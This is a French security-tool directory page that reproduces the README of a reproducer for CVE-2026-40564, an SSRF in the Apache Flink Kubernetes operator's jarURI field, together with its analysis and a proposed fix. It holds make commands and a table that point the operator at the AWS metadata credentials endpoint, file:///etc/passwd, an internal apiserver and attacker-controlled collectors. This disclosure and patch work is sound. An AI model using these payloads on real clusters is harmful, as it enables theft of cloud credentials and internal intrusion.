Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/oscerd/cve-2026-40564
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCloud Security
GitHuboscerd/cve-2026-40564

CVE-2026-40564

CVE-2026-40564: SSRF via FlinkSessionJob jarURI in apache/flink-kubernetes-operator. Self-contained reproducer that runs on a local kind cluster with one make command.

Voir le dépôt
il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-40564 : SSRF via FlinkSessionJob.spec.job.jarURI dans flink-kubernetes-operator

L'opérateur Kubernetes Apache Flink ne vérifie pas le champ spec.job.jarURI sur les ressources FlinkSessionJob (ou FlinkDeployment). Toute personne capable de créer l'une de ces ressources peut définir jarURI sur n'importe quelle URL. Lorsque l'opérateur traite la ressource, il récupère cette URL depuis son propre pod. Le schéma peut être http, https, file, ou n'importe lequel des plugins de système de fichiers fournis par Flink, donc la requête peut atteindre presque partout où le pod de l'opérateur peut accéder.

  • CVE : CVE-2026-40564
  • Affecté : flink-kubernetes-operator 1.14.0, et main (1.15-SNAPSHOT au 2026-04-09)
  • Signalé à [email protected] et [email protected] le 2026-04-09
  • Chaîne d'appels : SessionJobReconciler.deploy -> submitJobToSessionCluster -> uploadJar -> ArtifactManager.fetch -> HttpArtifactFetcher.fetch

Exécution

root@kitploit:~
make verify

Cela exécute cinq étapes dans l'ordre :

  1. créer un cluster kind local
  2. installer l'opérateur (1.14.0) avec Helm
  3. démarrer un cluster Flink session et attendre que son JobManager soit opérationnel
  4. demander une nouvelle URL à webhook.site, puis appliquer un FlinkSessionJob dont le jarURI pointe vers celle-ci
  5. interroger webhook.site et afficher les requêtes reçues

Quand cela fonctionne, la fin de l'exécution ressemble à ceci :

root@kitploit:~
==> [5/5] verify-ssrf
    target jarURI: https://webhook.site/<uuid>/exploit.jar
    target is webhook.site, confirming via its REST API...

    === webhook.site captured requests (newest first) ===
      2026-05-28 17:35:29  GET https://webhook.site/<uuid>/exploit.jar
        User-Agent: Java/17.0.17
        Source IP:  82.51.158.62

    CVE-2026-40564 CONFIRMED: the operator pod issued an HTTP GET against the attacker URL.
    Dashboard: https://webhook.site/#!/view/<uuid>

La première exécution prend environ 6 à 8 minutes. La majeure partie de ce temps est consacrée au téléchargement de l'image flink:1.17, qui fait environ 700 Mo. Les exécutions suivantes sont plus proches de 3 minutes.

Ce qu'il vous faut

docker, kind, kubectl 1.23 ou plus récent, helm 3, make, curl, et jq. Le cluster doit pouvoir accéder à Internet pour communiquer avec webhook.site.

Pointer vers une URL différente

Par défaut, le Makefile récupère une nouvelle URL webhook.site pour vous. Pour envoyer la requête ailleurs, définissez SSRF_URL avec le jarURI complet que vous souhaitez. Il est utilisé tel quel.

root@kitploit:~
# réutiliser une URL webhook.site spécifique
make verify SSRF_URL=https://webhook.site/8a2f1e3c-aaaa-bbbb-cccc-dddddddddddd/exploit.jar

# votre propre collaborator (Burp, interactsh, un écouteur netcat, etc.)
make verify SSRF_URL=https://abc123.oast.fun/exploit.jar

# le service de métadonnées de l'instance AWS
make verify SSRF_URL=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# un schéma non-http géré par la couche de système de fichiers de Flink
make verify SSRF_URL=file:///etc/passwd

La manière dont la vérification confirme le résultat dépend de la cible. Si l'URL est sur webhook.site, le Makefile lit son API REST et affiche les requêtes capturées. Pour toute autre chose, il lit le journal de l'opérateur et recherche la trame de pile HttpArtifactFetcher.fetch, qui montre que la récupération a eu lieu. WEBHOOK_URL fonctionne également et signifie la même chose que SSRF_URL.

Nettoyage

root@kitploit:~
make cleanup

Cela supprime le cluster kind. Rien n'est laissé derrière.

Pourquoi cela se produit

Trois classes sont impliquées, et aucune d'elles n'examine le schéma, l'hôte ou l'IP dans jarURI.

DefaultValidator.validateJobSpec vérifie le parallélisme, le mode de mise à niveau, les paramètres de savepoint et la forme des ressources. Il ne lit jamais job.getJarURI() :

root@kitploit:~
private Optional<String> validateJobSpec(
        JobSpec job, @Nullable TaskManagerSpec tm, Map<String, String> confMap) {
    if (job == null) return Optional.empty();
    Configuration configuration = Configuration.fromMap(confMap);
    // ... checks de parallélisme / mode de mise à niveau / savepoint / ressources ...
    // job.getJarURI() n'est jamais inspecté.
    return Optional.empty();
}

ArtifactManager.fetch sélectionne un récupérateur en fonction du schéma. Il n'y a pas de liste blanche, et tout ce qui n'est pas http ou https passe à la couche de système de fichiers de Flink :

root@kitploit:~
public File fetch(String jarURI, Configuration flinkConfiguration, String targetDirStr) throws Exception {
    URI uri = new URI(jarURI);
    if ("http".equals(uri.getScheme()) || "https".equals(uri.getScheme())) {
        return HttpArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
    } else {
        return FileSystemBasedArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
    }
}

HttpArtifactFetcher.fetch ouvre l'URL telle quelle. Il n'y a pas de vérification d'hôte, de plage d'IP, ni rien qui empêche d'atteindre des adresses loopback ou link-local :

root@kitploit:~
public File fetch(String uri, Configuration flinkConfiguration, File targetDir) throws Exception {
    URL url = new URL(uri);
    HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    conn.setRequestMethod("GET");
    File targetFile = new File(targetDir, FilenameUtils.getName(url.getPath()));
    try (var inputStream = conn.getInputStream()) {
        FileUtils.copyToFile(inputStream, targetFile);
    }
    return targetFile;
}

Ce qu'un attaquant obtient

L'opérateur fonctionne généralement avec des droits RBAC étendus. Le chart Helm officiel accorde * sur plusieurs types de ressources, y compris les secrets, et le pod peut normalement accéder au réseau sans restriction. Si vous pouvez lui faire envoyer des requêtes pour vous, vous pouvez :

  • lire les services de métadonnées cloud (AWS, GCE, Azure) et récupérer les identifiants IAM liés au nœud de l'opérateur
  • atteindre des services à l'intérieur du cluster qui n'écoutent que sur le réseau interne, ou qui font confiance à l'IP source de l'opérateur
  • scanner des ports internes à l'aveugle, en lisant le résultat depuis le message d'erreur dans le statut de FlinkSessionJob
  • utiliser file, s3, hdfs, gs, ou tout autre schéma de système de fichiers Flink pour lire des fichiers locaux ou interagir avec du stockage que l'opérateur peut atteindre mais pas vous

Sur un cluster partagé où plusieurs équipes utilisent le même opérateur, n'importe laquelle d'entre elles peut l'utiliser pour atteindre les ressources d'une autre équipe.

Autres URLs qui fonctionnent

Le reproducteur utilise par défaut webhook.site, mais le bug ne se soucie pas de l'URL. Définissez SSRF_URL, ou modifiez manifests/vulnerable-sessionjob.yaml, avec n'importe laquelle de celles-ci :

jarURIAtteint
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>AWS IMDSv1, les identifiants IAM du nœud du pod de l'opérateur
http://10.0.0.1:6443/apiUn apiserver dans le cluster, ou tout point de terminaison interne qui met l'IP de l'opérateur en liste blanche
file:///etc/passwdLe propre système de fichiers du pod de l'opérateur, via la branche du récupérateur de système de fichiers
s3://attacker-bucket/x.jarS3, en utilisant les identifiants du pod de l'opérateur

Correction

Ajoutez une vérification à DefaultValidator.validateJobSpec :

root@kitploit:~
if (job.getJarURI() != null) {
    Optional<String> uriError = validateJarURI(job.getJarURI(), configuration);
    if (uriError.isPresent()) return uriError;
}
root@kitploit:~
private Optional<String> validateJarURI(String jarURI, Configuration conf) {
    URI uri;
    try {
        uri = new URI(jarURI);
    } catch (URISyntaxException e) {
        return Optional.of("jarURI n'est pas une URI valide : " + e.getMessage());
    }
    String scheme = uri.getScheme();
    if (scheme == null) return Optional.of("jarURI doit inclure un schéma");

    Set<String> allowed = conf.get(KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES);
    if (!allowed.contains(scheme.toLowerCase(Locale.ROOT))) {
        return Optional.of("le schéma jarURI '" + scheme + "' n'est pas dans la liste blanche");
    }
    if ("http".equalsIgnoreCase(scheme) || "https".equalsIgnoreCase(scheme)) {
        InetAddress addr;
        try {
            addr = InetAddress.getByName(uri.getHost());
        } catch (UnknownHostException e) {
            return Optional.of("l'hôte jarURI ne peut pas être résolu");
        }
        if (addr.isLoopbackAddress() || addr.isLinkLocalAddress()
                || addr.isSiteLocalAddress() || addr.isAnyLocalAddress()) {
            return Optional.of("l'hôte jarURI pointe vers une adresse restreinte");
        }
    }
    return Optional.empty();
}

Donnez à KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES une valeur par défaut de Set.of("https"). Les opérateurs qui ont besoin de s3 ou d'un autre schéma peuvent l'ajouter.

Deux autres choses qui valent la peine d'être faites :

  • Ajouter une NetworkPolicy pour le pod de l'opérateur qui bloque le trafic sortant vers les adresses link-local (169.254.0.0/16), loopback, et les adresses de métadonnées cloud connues.
  • Sur AWS, activez IMDSv2. Même avec une SSRF fonctionnelle, il est alors impossible de lire le service de métadonnées sans un jeton de session, et l'opérateur n'a aucune raison d'en envoyer un.

Remarques

Le Makefile contourne deux choses qui cassent kind sur Linux. Chaque vérification s'exécute uniquement lorsque le problème est effectivement présent, il est donc sûr de relancer.

  1. Le forwarding de CoreDNS vers loopback. Avec systemd-resolved, le /etc/resolv.conf du nœud kind pointe vers 127.0.0.1, donc le cluster résout les noms externes vers localhost. L'étape cluster-up réécrit la configuration CoreDNS pour forwarder vers 1.1.1.1 et 8.8.8.8.
  2. Le pod de l'opérateur hérite des domaines de recherche DNS de l'hôte. Avec ndots réglé sur 5, un nom comme webhook.site se voit d'abord ajouter les domaines de recherche de l'hôte, et certains FAI répondent 127.0.0.1 pour les sous-domaines qu'ils ne reconnaissent pas. L'étape install-operator donne au pod de l'opérateur son propre dnsConfig pour éviter cela.

Si une exécution complète échoue en cours de route, vous pouvez exécuter make verify-ssrf seul. Il lit le jarURI depuis le FlinkSessionJob en cours, donc il ne repose sur rien de sauvegardé localement.

Télécharger l’outil